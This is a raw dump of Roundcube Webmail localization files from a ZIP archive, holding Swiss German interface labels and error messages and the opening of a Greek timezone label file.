$labels['replysamefolder'] = 'Antworten im selben Ordner wie Original speichern';
$labels['defaultabook'] = 'Standard-Adressbuch';
$labels['autocompletesingle'] = 'Keine alternativen E-Mail-Adressen in Autovervollständigung';
$labels['listnamedisplay'] = 'Kontakte auflisten als';
$labels['contactformmode'] = 'Formularmodus';
$labels['privatemode'] = 'Privat (Home)';
$labels['businessmode'] = 'Geschäftlich (Work)';
$labels['collectedaddresses'] = 'Gesammelte Adressen';
$labels['collectedrecipients'] = 'Gesammelte Empfänger';
$labels['collectedrecipientsopt'] = 'Empfänger gesendeter Nachrichten speichern in';
$labels['collectedsendersopt'] = ' Vertrauenswürdige Absender speichern in';
$labels['trustedsenders'] = ' Vertrauenswürdige Absender';
$labels['spellcheckbeforesend'] = 'Rechtscheibung vor dem Senden prüfen';
$labels['spellcheckoptions'] = 'Rechtschreibprüfungsoptionen';
$labels['spellcheckignoresyms'] = 'Wörter mit Symbolen überspringen';
$labels['spellcheckignorenums'] = 'Wörter mit Ziffern überspringen';
$labels['spellcheckignorecaps'] = 'Wörter überspringen, die nur aus Grossbuchstaben bestehen';
$labels['addtodict'] = 'Zum Wörterbuch hinzufügen';
$labels['mailtoprotohandler'] = 'Als Empfänger für mailto: Links einrichten';
$labels['standardwindows'] = 'Popups als normale Browserfenster öffnen';
$labels['forwardmode'] = 'Weiterleiten einer Nachricht';
$labels['inline'] = 'eingebettet';
$labels['asattachment'] = 'als Anhang';
$labels['replyallmode'] = 'Standard Funktion für [Allen antworten]';
$labels['replyalldefault'] = 'Allen antworten';
$labels['replyalllist'] = 'Nur der Mailing-Liste antworten (falls vorhanden)';
$labels['allmessages'] = 'Für alle Nachrichten';
$labels['olderxdays'] = 'älter als $x Tage';
$labels['folder'] = 'Ordner';
$labels['folders'] = 'Ordner';
$labels['foldername'] = 'Ordnername';
$labels['subscribed'] = 'Abonniert';
$labels['messagecount'] = 'Nachrichten';
$labels['create'] = 'Erstellen';
$labels['createfolder'] = 'Neuen Ordner erstellen';
$labels['managefolders'] = 'Ordner verwalten';
$labels['specialfolders'] = 'Spezialordner';
$labels['properties'] = 'Eigenschaften';
$labels['folderproperties'] = 'Ordnereigenschaften';
$labels['parentfolder'] = 'Eltern';
$labels['location'] = 'Speicherort';
$labels['info'] = 'Informationen';
$labels['getfoldersize'] = 'Ordnergrösse anzeigen';
$labels['changesubscription'] = 'Abonnieren';
$labels['foldertype'] = 'Ordnertyp';
$labels['personalfolder'] = 'Privater Ordner';
$labels['otherfolder'] = 'Order eines anderen Benutzers';
$labels['sharedfolder'] = 'Öffentlicher Ordner';
$labels['findfolders'] = 'Ordner suchen';
$labels['findcontacts'] = 'Kontakte durchsuchen';
$labels['findmail'] = 'Nachrichten durchsuchen';
$labels['namespace.personal'] = 'Persönlich';
$labels['namespace.other'] = 'Andere Benutzer';
$labels['namespace.shared'] = 'Freigegeben';
$labels['dualuselabel'] = 'Enthält ausschliesslich';
$labels['dualusemail'] = 'Nachrichten';
$labels['dualusefolder'] = 'Ordner';
$labels['generate'] = 'Generieren';
$labels['encryptioncreatekey'] = 'Neues Schlüsselpaar erstellen';
$labels['openmailvelopesettings'] = 'Mailvelope-Einstellungen öffnen';
$labels['encryptionprivkeysinmailvelope'] = 'Für diesen Absender sind $nr private Schlüssel in Ihrem Mailvelope Schlüsselbund gespeichert:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Für diesen Absender existiert noch kein PGP Schlüsselpaar in Ihrem Mailvelope Schlüsselbund. Möchten Sie jetzt eines erstellen, um E-Mail-Verschlüsselung zu ermöglichen?';
$labels['encryption'] = 'Verschlüsselung';
$labels['mailvelopeoptions'] = 'Mailvelope-Optionen';
$labels['mailvelopemainkeyring'] = 'Mailvelope-Hauptschlüsselbund verwenden';
$labels['mailvelopenotfound'] = 'Die Mailvelope-Erweiterung ist in Ihrem Browser nicht aktiviert/installiert.';
$labels['sortby'] = 'Sortieren nach';
$labels['sortasc'] = 'aufsteigend sortieren';
$labels['sortdesc'] = 'absteigend sortieren';
$labels['undo'] = 'Rückgängig';
$labels['installedplugins'] = 'Installierte Plugins';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Version';
$labels['source'] = 'Quellcode';
$labels['destination'] = 'Ziel';
$labels['license'] = 'Lizenz';
$labels['support'] = 'Support';
$labels['savedsearches'] = 'Gespeicherte Suchen';
$labels['dateformatY'] = 'JJJJ';
$labels['dateformaty'] = 'JJ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'TT';
$labels['dateformatj'] = 'T';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Englisch';
$labels['westerneuropean'] = 'Westeuropäisch';
$labels['easterneuropean'] = 'Osteuropäisch';
$labels['southeasterneuropean'] = 'Südosteuropäisch';
$labels['baltic'] = 'Baltisch';
$labels['cyrillic'] = 'Kyrillisch';
$labels['arabic'] = 'Arabisch';
$labels['greek'] = 'Griechisch';
$labels['hebrew'] = 'Hebräisch';
$labels['turkish'] = 'Türkisch';
$labels['nordic'] = 'Skandinavisch';
$labels['thai'] = 'Thailändisch';
$labels['celtic'] = 'Keltisch';
$labels['vietnamese'] = 'Vietnamesisch';
$labels['japanese'] = 'Japanisch';
$labels['korean'] = 'Koreanisch';
$labels['chinese'] = 'Chinesisch';
$labels['arialabeltopnav'] = 'Fensterkontrolle';
$labels['arialabeltasknav'] = 'Anwendungsbereiche';
$labels['arialabeltoolbar'] = 'Funktionsleiste';
$labels['arialabellistnav'] = 'Listen-Navigation';
$labels['arialabelactivetask'] = 'Aktive Anwendung';
$labels['arialabelmessagessearchfilter'] = 'Nachrichtenfilter';
$labels['arialabelmailsearchform'] = 'Nachrichtensuche';
$labels['arialabelcontactsearchform'] = 'Kontaktsuche';
$labels['arialabelmailquicksearchbox'] = 'Nachrichten-Sucheingabe';
$labels['arialabelquicksearchbox'] = 'Sucheingabe';
$labels['arialabelfoldersearchfilter'] = 'Ordnerfilter';
$labels['arialabelfoldersearchform'] = 'Ordnersuche';
$labels['arialabelfolderlist'] = 'Ordner-Auswahl';
$labels['arialabelmessagelist'] = 'Nachrichtenliste';
$labels['arialabelmailpreviewframe'] = 'Nachrichtenvorschau';
$labels['arialabelmailboxmenu'] = 'Ordneraktionen-Menü';
$labels['arialabellistselectmenu'] = 'Nachrichtenauswahl-Menü';
$labels['arialabelthreadselectmenu'] = 'Konversationsauswahl-Menü';
$labels['arialabelmessagelistoptions'] = 'Einstellungen zur Nachrichten-Anzeige und -sortierung';
$labels['arialabelmailimportdialog'] = 'Nachrichten-Import Dialog';
$labels['arialabelmessagenav'] = 'Nachrichten-Navigation';
$labels['arialabelmessagebody'] = 'Nachrichtentext';
$labels['arialabelmessageactions'] = 'Nachrichten-Aktionen';
$labels['arialabelcontactquicksearch'] = 'Kontaktsuche';
$labels['arialabelcontactsearchbox'] = 'Sucheingabe';
$labels['arialabelmessageheaders'] = 'Nachrichten-Kopfzeilen';
$labels['arialabelforwardingoptions'] = 'Weiterleitungsoptionen';
$labels['arialabelreplyalloptions'] = 'Beantwortungsoptionen';
$labels['arialabelmoremessageactions'] = 'Weitere Nachricht-Aktionen';
$labels['arialabelmorecontactactions'] = 'Weitere Kontakt-Aktionen';
$labels['arialabelmarkmessagesas'] = 'Ausgewählte Nachrichten markieren als...';
$labels['arialabelcomposeoptions'] = 'Nachrichten-Verfassungs-Optionen';
$labels['arialabelresponsesmenu'] = 'Gespeicherte Antworten Menü';
$labels['arialabelattachmentuploadform'] = 'Anhang hochladen (Dateiauswahl)';
$labels['arialabelattachmentmenu'] = 'Anhangsoptionen';
$labels['arialabelmailtomenu'] = 'Optionen für E-Mail-Adressen';
$labels['arialabelattachmentpreview'] = 'Dateivorschau';
$labels['ariasummarycomposecontacts'] = 'Kontakte und Adressgruppen zur Auswahl als Empfänger';
$labels['arialabelcontactexportoptions'] = 'Export-Optionen';
$labels['arialabelabookgroupoptions'] = 'Adressbuch/Adressgruppen-Optionen';
$labels['arialabelpreferencesform'] = 'Einstellungen (Formular)';
$labels['arialabelidentityeditfrom'] = 'Absender bearbeiten (Formular)';
$labels['arialabelresponseeditfrom'] = 'Antwort bearbeiten (Formular)';
$labels['arialabelsearchterms'] = 'Suchbegriffe';
$labels['arialabeldropactionmenu'] = 'Drag & Drop Aktionsmenü';
$labels['arialabelheadersmenu'] = 'Menü zum Hinzufügen von Empfängern (Kopfzeile) ';
$labels['arialabelimagetools'] = 'Bildwerkzeuge';
$labels['helplistnavigation'] = 'Tastatur-Navigation in der Liste';
$labels['helplistkeyboardnavigation'] = "Pfeiltasten Auf/Ab: Bewege Zeilenauswahl/Fokus.
Leertaste: Fokussierte Zeile auswählen.
Shift + Auf/Ab: Zeile darüber/darunter auswählen.
Ctrl + Leertaste: Fokussierte Zeile der Auswahl hinzufügen/entfernen.";
$labels['helplistkeyboardnavmessages'] = "Pfeiltasten Rechts/Links: Konversation auf-/zuklappen.
Eingabe: Ausgewählte/fokussierte Nachricht öffnen.
Löschen: Ausgewählte Nachricht in den Papierkorb verschieben resp. löschen.";
$labels['helplistkeyboardnavcontacts'] = "Eingabe: Ausgewählten Kontakt öffnen.";
PK
h�\�R�>K>K'program/localization/de_CH/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Fehlermeldung';
$messages['loginfailed']  = 'Login fehlgeschlagen';
$messages['cookiesdisabled'] = 'Ihr Browser akzeptiert keine Cookies';
$messages['sessionerror'] = 'Ihre Session ist ungültig oder abgelaufen';
$messages['cookiesmismatch'] = 'Cookiefehler erkannt. Bitte im Browser Cookies löschen.';
$messages['storageerror'] = 'Keine Verbindung zum IMAP Server';
$messages['servererror'] = 'Serverfehler!';
$messages['servererrormsg'] = 'Serverfehler: $msg';
$messages['accountlocked'] = 'Zuviele fehlgeschlagene Login-Versuche. Bitte versuchen Sie es später wieder.';
$messages['connerror'] = 'Verbindungsfehler (Server nicht erreichbar)!';
$messages['dberror'] = 'Datenbankfehler!';
$messages['dbconnerror'] = 'Kann keine Verbindung zum Server herstellen';
$messages['windowopenerror'] = 'Das Popup-Fenster wurde blockiert!';
$messages['requesttimedout'] = 'Zeitlimit überschritten';
$messages['errorreadonly'] = 'Die Aktion kann nicht ausgeführt werden. Der Ordner ist schreibgeschützt.';
$messages['errornoperm'] = 'Die Aktion kann nicht ausgeführt werden. Zugriff verweigert.';
$messages['erroroverquota'] = 'Die Aktion kann nicht ausgeführt werden. Keine freier Speicherplatz.';
$messages['erroroverquotadelete'] = 'Kein freier Speicherplatz. Drücken Sie SHIFT+DEL um die Nachricht zu löschen.';
$messages['invalidrequest'] = 'Ungültige Anfrage! Es wurden keine Daten gespeichert.';
$messages['invalidhost'] = 'Ungültiger Servername';
$messages['nomessagesfound'] = 'Keine Nachrichten in diesem Ordner';
$messages['loggedout'] = 'Sie haben die Sitzung erfolgreich beendet. Auf Wiedersehen!';
$messages['mailboxempty'] = 'Ordner ist leer';
$messages['nomessages'] = 'Keine Nachrichten';
$messages['refreshing'] = 'Aktualisiere...';
$messages['loading'] = 'Daten werden geladen...';
$messages['uploading'] = 'Datei wird hochgeladen...';
$messages['attaching'] = 'Datei wird angehängt...';
$messages['uploadingmany'] = 'Dateien werden hochgeladen...';
$messages['loadingdata'] = 'Daten werden geladen...';
$messages['checkingmail'] = 'Überprüfung auf neue Nachrichten...';
$messages['sendingmessage'] = 'Nachricht wird gesendet...';
$messages['messagesent'] = 'Nachricht erfolgreich gesendet';
$messages['savingmessage'] = 'Nachricht wird gespeichert...';
$messages['messagesaved'] = 'Nachricht als Entwurf gespeichert';
$messages['successfullysaved'] = 'Erfolgreich gespeichert';
$messages['savingresponse'] = 'Antwort wird gespeichert...';
$messages['deleteresponseconfirm'] = 'Wollen Sie diese Antwort wirklich löschen?';
$messages['nocontactselected'] = 'Sie haben noch keinen Kontakt ausgewählt.';
$messages['addedsuccessfully'] = 'Kontakt zum Adressbuch hinzugefügt';
$messages['contactexists'] = 'Es existiert bereits ein Kontakt mit dieser E-Mail-Adresse.';
$messages['contactnameexists'] = 'Es existiert bereits ein Kontakt mit diesem Namen';
$messages['blockedimages'] = 'Um Ihre Privatsphäre zu schützen, wurden externe Bilder blockiert.';
$messages['blockedresources'] = 'Um Ihre Privatsphäre zu schützen, wurden externe Ressourcen blockiert.';
$messages['suspiciousemail'] = 'Diese Nachricht enthält verdächtige E-Mail-Adressen, die möglicherweise betrügerisch sind.';
$messages['bccemail'] = 'Die weitergeleitete(n) Nachricht(en) enthalten vertrauliche Empfänger (BCC).';
$messages['bouncehint'] = 'Die Nachricht wird ohne Änderungen gesendet, das heisst. mit dem ursprünglichen Text, den Kopfzeilen und den Empfängern.';
$messages['encryptedmessage'] = 'Dies ist eine verschlüsselte Nachricht und kann leider nicht angezeigt werden.';
$messages['externalmessagedecryption'] = 'Dies ist eine verschlüsselte Nachricht und kann mit Ihrer Browser-Erweiterung entschlüsselt werden.';
$messages['nopubkeyfor'] = 'Kein gültiger öffentlicher Schlüssel für $email gefunden';
$messages['nopubkeyforsender'] = 'Kein gültiger öffentlicher Schlüssel für Ihre Absenderidentität gefunden. Möchten Sie die Nachricht nur für die Empfänger verschlüsseln?';
$messages['encryptnoattachments'] = 'Bereits hochgeladene Anhänge können nicht nachträglich verschlüsselt werden. Bitte fügen Sie sie erneut im Verschlüsselungs-Editor hinzu.';
$messages['searchpubkeyservers'] = 'Möchten Sie öffentliche Schlüsselserver nach den fehlenden Schlüsseln durchsuchen?';
$messages['encryptpubkeysfound'] = 'Die folgenden öffentlichen Schlüssel wurden gefunden:';
$messages['keyservererror'] = 'Fehler bei der Abfrage des Schlüssels vom Schlüsselserver.';
$messages['keyimportsuccess'] = 'Öffentlicher Schlüssel $key erfolgreich in den Schlüsselbund importiert.';
$messages['nocontactsfound'] = 'Keine Kontakte gefunden';
$messages['contactnotfound'] = 'Die gewählte Adresse wurde nicht gefunden';
$messages['contactsearchonly'] = 'Sie müssen das Suchformular nutzen, um die Kontakte vom ausgewählten Adressbuch zu sehen.';
$messages['sendingfailed'] = 'Versand der Nachricht fehlgeschlagen';
$messages['senttooquickly'] = 'Bitte warten Sie $sec Sekunde(n) vor dem Senden dieser Nachricht';
$messages['errorsavingsent'] = 'Beim Speichern der gesendeten Nachricht ist ein Fehler aufgetreten.';
$messages['errorsaving'] = 'Beim Speichern ist ein Fehler aufgetreten.';
$messages['errormoving'] = 'Nachricht(en) konnte(n) nicht verschoben werden.';
$messages['errorcopying'] = 'Nachticht(en) konnte(n) nicht kopiert werden.';
$messages['errordeleting'] = 'Nachricht(en) konnte(n) nicht gelöscht werden.';
$messages['errormarking'] = 'Nachricht(en) konnte(n) nicht markiert werden.';
$messages['alerttitle'] = 'Achtung';
$messages['confirmationtitle'] = 'Sind Sie sicher...';
$messages['deletecontactconfirm']  = 'Wollen Sie die ausgewählten Kontakte wirklich löschen?';
$messages['deletegroupconfirm']  = 'Wollen Sie die gewählte Gruppe wirklich löschen?';
$messages['deletemessagesconfirm'] = 'Wollen Sie die ausgewählten Nachrichten wirklich löschen?';
$messages['deletefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich löschen?';
$messages['movefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich verschieben?';
$messages['purgefolderconfirm']  = 'Wollen Sie diesen Ordner wirklich leeren?';
$messages['contactdeleting'] = 'Kontakte werden gelöscht...';
$messages['groupdeleting'] = 'Gruppe wird gelöscht...';
$messages['folderdeleting'] = 'Order wird gelöscht...';
$messages['foldermoving'] = 'Ordner wird verschoben...';
$messages['foldersubscribing'] = 'Ordner wird abonniert...';
$messages['folderunsubscribing'] = 'Ordner wird abbestellt...';
$messages['formincomplete'] = 'Das Formular wurde nicht vollständig ausgefüllt.';
$messages['noemailwarning'] = 'Bitte geben Sie eine gültige E-Mail-Adresse ein.';
$messages['nonamewarning']  = 'Bitte geben Sie einen Namen ein.';
$messages['nopagesizewarning'] = 'Bitte geben Sie die Einträge pro Seite an.';
$messages['nosenderwarning'] = 'Bitte geben Sie die E-Mail-Adresse des Senders an.';
$messages['recipientsadded'] = 'Empfänger erfolgreich hinzugefügt.';
$messages['norecipientwarning'] = 'Bitte geben Sie mindestens einen Empfänger an.';
$messages['disclosedrecipwarning'] = 'Alle Empfänger sehen die E-Mail Adressen der anderen Empfänger. Um deren Privatsphäre zu schützen, können Sie das Bcc-Feld verwenden.';
$messages['disclosedreciptitle'] = 'Zu viele öffentliche Empfänger';
$messages['nosubjectwarning']  = 'Die Betreffzeile ist leer. Möchten Sie jetzt einen Betreff eingeben?';
$messages['nosubjecttitle']  = 'Kein Betreff';
$messages['nobodywarning'] = 'Wollen Sie diese Nachricht ohne Inhalt senden?';
$messages['notsentwarning'] = 'Die Nachricht wurde noch nicht gesendet und hat nicht gespeicherte Änderungen. Möchten Sie die Änderungen verwerfen?';
$messages['restoresavedcomposedata'] = 'Eine zuvor verfasste aber nicht gesendete Nachricht wurde gefunden.\n\nBetreff: $subject\nGespeichert: $date\n\nWollen Sie diese Nachricht wiederherstellen?';
$messages['nosearchname'] = 'Bitte geben Sie einen Namen oder eine E-Mail-Adresse ein.';
$messages['notuploadedwarning'] = 'Es wurden noch nicht alle Dateien hochgeladen. Bitte warten oder Upload abbrechen.';
$messages['searchsuccessful'] = '$nr Nachrichten gefunden.';
$messages['contactsearchsuccessful'] = '$nr Kontakte gefunden.';
$messages['searchnomatch'] = 'Die Suche lieferte keine Treffer.';
$messages['searching'] = 'Suche...';
$messages['checking'] = 'Überprüfung...';
$messages['stillsearching'] = 'Suche läuft...';
$messages['nospellerrors'] = 'Keine Rechtschreibfehler gefunden.';
$messages['folderdeleted'] = 'Der Ordner wurde erfolgreich gelöscht.';
$messages['foldersubscribed'] = 'Der Ordner wurde erfolgreich abonniert.';
$messages['folderunsubscribed'] = 'Der Ordner wurde erfolgreich abbestellt.';
$messages['folderpurged'] = 'Ordner erfolgreich geleert.';
$messages['folderexpunged'] = 'Ordner erfolgreich komprimiert.';
$messages['deletedsuccessfully'] = 'Erfolgreich gelöscht.';
$messages['converting'] = 'Formatierung wird entfernt...';
$messages['messageopenerror'] = 'Die Nachricht konnte nicht vom Server geladen werden.';
$messages['filelinkerror'] = 'Datei konnte nicht angehängt werden';
$messages['fileuploaderror'] = 'Der Dateiupload ist fehlgeschlagen.';
$messages['csvfilemismatch'] = 'Der Import von mehreren CSV-Dateien mit unterschiedlichen Spalten wird nicht unterstützt.';
$messages['filesizeerror'] = 'Die Datei überschreitet die maximale Grösse von $size.';
$messages['filecounterror'] = 'Sie können maximal $count Dateien auf einmal hochladen.';
$messages['msgsizeerror'] = 'Datei konnte nicht angehängt werden. Die maximale Grösse einer Nachricht ($size) wird damit überschritten.';
$messages['msgsizeerrorfwd'] = ' Maximalgrösse einer Nachricht ($size) überschritten. $num Nachricht(en) wurde nicht angehängt.';
$messages['copysuccess'] = '$nr Kontakt(e) erfolgreich kopiert.';
$messages['movesuccess'] = '$nr Kontakt(e) erfolgreich verschoben.';
$messages['copyerror'] = 'Kontakte konnten nicht kopiert werden.';
$messages['moveerror'] = 'Kontakte konnten nicht verschoben werden.';
$messages['sourceisreadonly'] = 'Das Adressverzeichnis kann nicht verändert werden.';
$messages['errorsavingcontact'] = 'Die Änderungen konnten nicht gespeichert werden.';
$messages['movingmessage'] = 'Nachrichten werden verschoben...';
$messages['copyingmessage'] = 'Nachrichten werden kopiert...';
$messages['copyingcontact'] = 'Kontakte werden kopiert...';
$messages['movingcontact'] = 'Kontakt(e) werden verschoben...';
$messages['deletingmessage'] = 'Nachrichten werden gelöscht...';
$messages['markingmessage'] = 'Nachrichten werden markiert...';
$messages['addingmember'] = 'Kontakte werden der Gruppe hinzugefügt...';
$messages['removingmember'] = 'Kontakte werden von der Gruppe entfernt...';
$messages['receiptsent'] = 'Lesebestätigung erfolgreich gesendet.';
$messages['errorsendingreceipt'] = 'Bestätigung konnte nicht gesendet werden.';
$messages['deleteidentityconfirm'] = 'Möchten Sie diese Identität wirklich löschen?';
$messages['nodeletelastidentity'] = 'Diese Identität kann nicht gelöscht werden, da dies die letzte ist.';
$messages['forbiddencharacter'] = 'Der Ordnername enthält ein ungültiges Zeichen.';
$messages['selectimportfile'] = 'Bitte wählen Sie eine Datei zum Importieren aus.';
$messages['addresswriterror'] = 'Das gewählte Adressbuch kann nicht verändert werden.';
$messages['contactaddedtogroup'] = 'Kontakte wurden dieser Gruppe hinzugefügt.';
$messages['contactremovedfromgroup'] = 'Kontakte wurden aus dieser Gruppe entfernt.';
$messages['nogroupassignmentschanged'] = 'Es wurde keine Gruppenzuweisung verändert.';
$messages['importwait'] = 'Daten werden importiert, bitte warten...';
$messages['importformaterror'] = 'Import fehlgeschlagen! Die hochgeladene Datei enthält keines der unterstützten Datenformate.';
$messages['importconfirm'] = '<b>Es wurden $inserted Adressen erfolgreich importiert</b>';
$messages['importconfirmskipped'] = '<b>$skipped bestehende Einträge wurden übersprungen</b>';
$messages['importmessagesuccess'] = '$nr Nachricht(n) erfolgreich importiert';
$messages['importmessageerror'] = 'Import fehlgeschlagen! Die hochgeladene Datei ist keine E-Mail-Nachricht oder Mailbox-Datei.';
$messages['opnotpermitted'] = 'Operation nicht erlaubt!';
$messages['nofromaddress'] = 'Fehlende E-Mail-Adresse in ausgewählter Identität.';
$messages['editorwarning'] = 'Ein Wechsel des Editors kann zu Verlust der Textformatierungen führen. Wollen Sie fortfahren?';
$messages['httpreceivedencrypterror'] = 'Ein gravierender Konfigurationsfehler ist aufgetreten. Kontaktieren Sie den Server-Administrator. <b>Die Nachricht wurde nicht gesendet!</b>';
$messages['smtpconnerror'] = 'SMTP Fehler ($code): Die Verbindung ist fehlgeschlagen.';
$messages['smtpautherror'] = 'SMTP Fehler ($code): Die Authentisierung ist fehlgeschlagen.';
$messages['smtpfromerror'] = 'SMTP Fehler ($code): Der Absender "$from" konnte nicht gesetzt werden ($msg).';
$messages['smtptoerror'] = 'SMTP Fehler ($code): Der Empfänger "$to" konnte nicht gesetzt werden ($msg).';
$messages['smtprecipientserror'] = 'SMTP Fehler: Die Empfängerliste konnte nicht verarbeitet werden.';
$messages['smtputf8error'] = 'SMTP Fehler: Der Server unterstützt keine Unicode-Zeichen in E-Mail-Adressen.';
$messages['smtpsizeerror'] = 'SMTP Fehler: Nachrichtengrösse übersteigt die Servergrenze ($limit)';
$messages['smtperror'] = 'SMTP Fehler: $msg';
$messages['emailformaterror'] = 'Ungültige E-Mail-Adresse: $email';
$messages['toomanyrecipients'] = 'Zuviele Empfänger angegeben. Reduzieren Sie die Empfängeradressen auf $max.';
$messages['maxgroupmembersreached'] = 'Die Anzahl Adressen in dieser Gruppe überschreitet das Maximum von $max.';
$messages['internalerror'] = 'Ein interner Fehler ist aufgetreten. Bitte versuchen Sie den Vorgang erneut.';
$messages['contactdelerror'] = 'Fehler beim Löschen.';
$messages['contactdeleted'] = 'Kontakt(e) erfolgreich gelöscht.';
$messages['contactrestoreerror'] = 'Die gelöschten Kontakte konnten nicht wiederhergestellt werden.';
$messages['contactrestored'] = 'Kontakte erfolgreich wiederhergestellt.';
$messages['groupdeleted'] = 'Gruppe erfolgreich gelöscht.';
$messages['grouprenamed'] = 'Gruppe erfolgreich umbenannt.';
$messages['groupcreated'] = 'Gruppe erfolgreich erstellt.';
$messages['savedsearchdeleted'] = 'Suche erfolgreich gelöscht.';
$messages['savedsearchdeleteerror'] = 'Suche konnte nicht gelöscht werden.';
$messages['savedsearchcreated'] = 'Suche erfolgreich gespeichert.';
$messages['savedsearchcreateerror'] = 'Suche konnte nicht gespeichert werden.';
$messages['messagedeleted'] = 'Nachricht(en) erfolgreich gelöscht.';
$messages['messagemoved'] = 'Nachricht(en) erfolgreich verschoben.';
$messages['messagemovedtotrash'] = 'Nachricht(en) erfolgreich in den Papierkorb verschoben.';
$messages['messagecopied'] = 'Nachricht(en) erfolgreich kopiert.';
$messages['messagemarked'] = 'Nachricht(en) erfolgreich markiert.';
$messages['autocompletechars'] = 'Geben Sie mind. $min Zeichen für die Auto-Vervollständigung ein.';
$messages['autocompletemore'] = 'Mehrere Treffer. Bitte geben Sie mehr Buchstaben ein.';
$messages['namecannotbeempty'] = 'Der Name darf nicht leer sein.';
$messages['nametoolong'] = 'Der Name ist zu lang.';
$messages['namedotforbidden'] = 'Ordnername darf nicht mit einem Punkt beginnen.';
$messages['folderupdated'] = 'Der Ordner wurde erfolgreich aktualisiert.';
$messages['foldercreated'] = 'Der Ordner wurde erfolgreich erstellt.';
$messages['invalidimageformat'] = 'Kein gültiges Bildformat.';
$messages['mispellingsfound'] = 'Es wurden noch Rechtschreibfehler in der Nachricht gefunden.';
$messages['parentnotwritable'] = 'Konnte den Ordner nicht erstellen/verschieben. Keine Berechtigung.';
$messages['messagetoobig'] = 'Die Nachricht ist zu gross und kann nicht verarbeitet werden.';
$messages['attachmentvalidationerror'] = 'Dieser Anhang ist verdächtig, weil sein Dateityp nicht mit dem in der Nachricht angegebenen Dateityp übereinstimmt. Wenn Sie dem Absender nicht vertrauen, sollten Sie ihn nicht im Browser öffnen, da er bösartige Inhalte enthalten kann. Erwartet: $expected; gefunden: $detected</em>';
$messages['noscriptwarning'] = 'Achtung! Dieser Webmail-Service erfordert Javascript. Um ihn zu benutzten aktivieren Sie Javascript in ihren Browser-Einstellungen.';
$messages['messageissent'] = 'Die Nachricht wurde bereits gesendet, aber noch nicht gespeichert. Jetzt speichern?';
$messages['errnotfound'] = 'Datei nicht gefunden';
$messages['errnotfoundexplain'] = 'Die angeforderte Ressource wurde nicht gefunden!';
$messages['errfailedrequest'] = 'Anfrage fehlgeschlagen';
$messages['errauthorizationfailed'] = 'Autorisierung fehlgeschlagen';
$messages['errunauthorizedexplain'] = 'Es konnte nicht bestätigt werden, dass Sie berechtigt sind, auf diesen Dienst zuzugreifen!';
$messages['errrequestcheckfailed'] = 'Anfrageprüfung fehlgeschlagen';
$messages['errcsrfprotectionexplain'] = "Zu Ihrer Sicherheit wird der Zugriff auf diese Ressource gegen CSRF geschützt.\nWenn Sie dies sehen, haben Sie sich wahrscheinlich vor dem Verlassen der Anwendung nicht abgemeldet.\n\nUm fortzufahren ist eine menschliche Interaktion erforderlich.";
$messages['errcontactserveradmin'] = 'Bitte kontaktieren Sie Ihren Server-Administrator.';
$messages['clicktoresumesession'] = 'Klicken Sie hier, um Ihre vorherige Sitzung fortzusetzen';
$messages['errcomposesession'] = 'Sitzungsfehler';
$messages['errcomposesessionexplain'] = 'Sitzungsdaten für den Nachrichtenentwurf nicht gefunden.';
$messages['clicktocompose'] = 'Klicken Sie hier, um eine neue Nachricht zu verfassen';
$messages['nosupporterror'] = 'Diese Funktion wird von Ihrem Webbrowser nicht unterstützt.';
$messages['siginserted'] = 'Signatur erfolgreich eingefügt.';
$messages['responseinserted'] = 'Antwort erfolgreich eingefügt.';
$messages['noresponsesavailable'] = 'Keine Antwort vorhanden';
$messages['listempty'] = 'Die Liste ist leer.';
$messages['listusebutton'] = 'Benutzen Sie den Erstellen-Button, um einen neuen Eintrag zu erfassen.';
$messages['keypaircreatesuccess'] = 'Neues Schlüsselpaar für $identity erfolgreich erstellt.';
$messages['emptyattachment'] = 'Dieser Anhang scheint leer zu sein.
Bitte erkundigen Sie sich bei der Person, die diesen gesendet hat.';
$messages['oauthloginfailed'] = ' OAuth-Anmeldung fehlgeschlagen. Bitte versuchen Sie es erneut.';
PK
h�\7Eh߈N�N(program/localization/el_GR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Αφρική';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
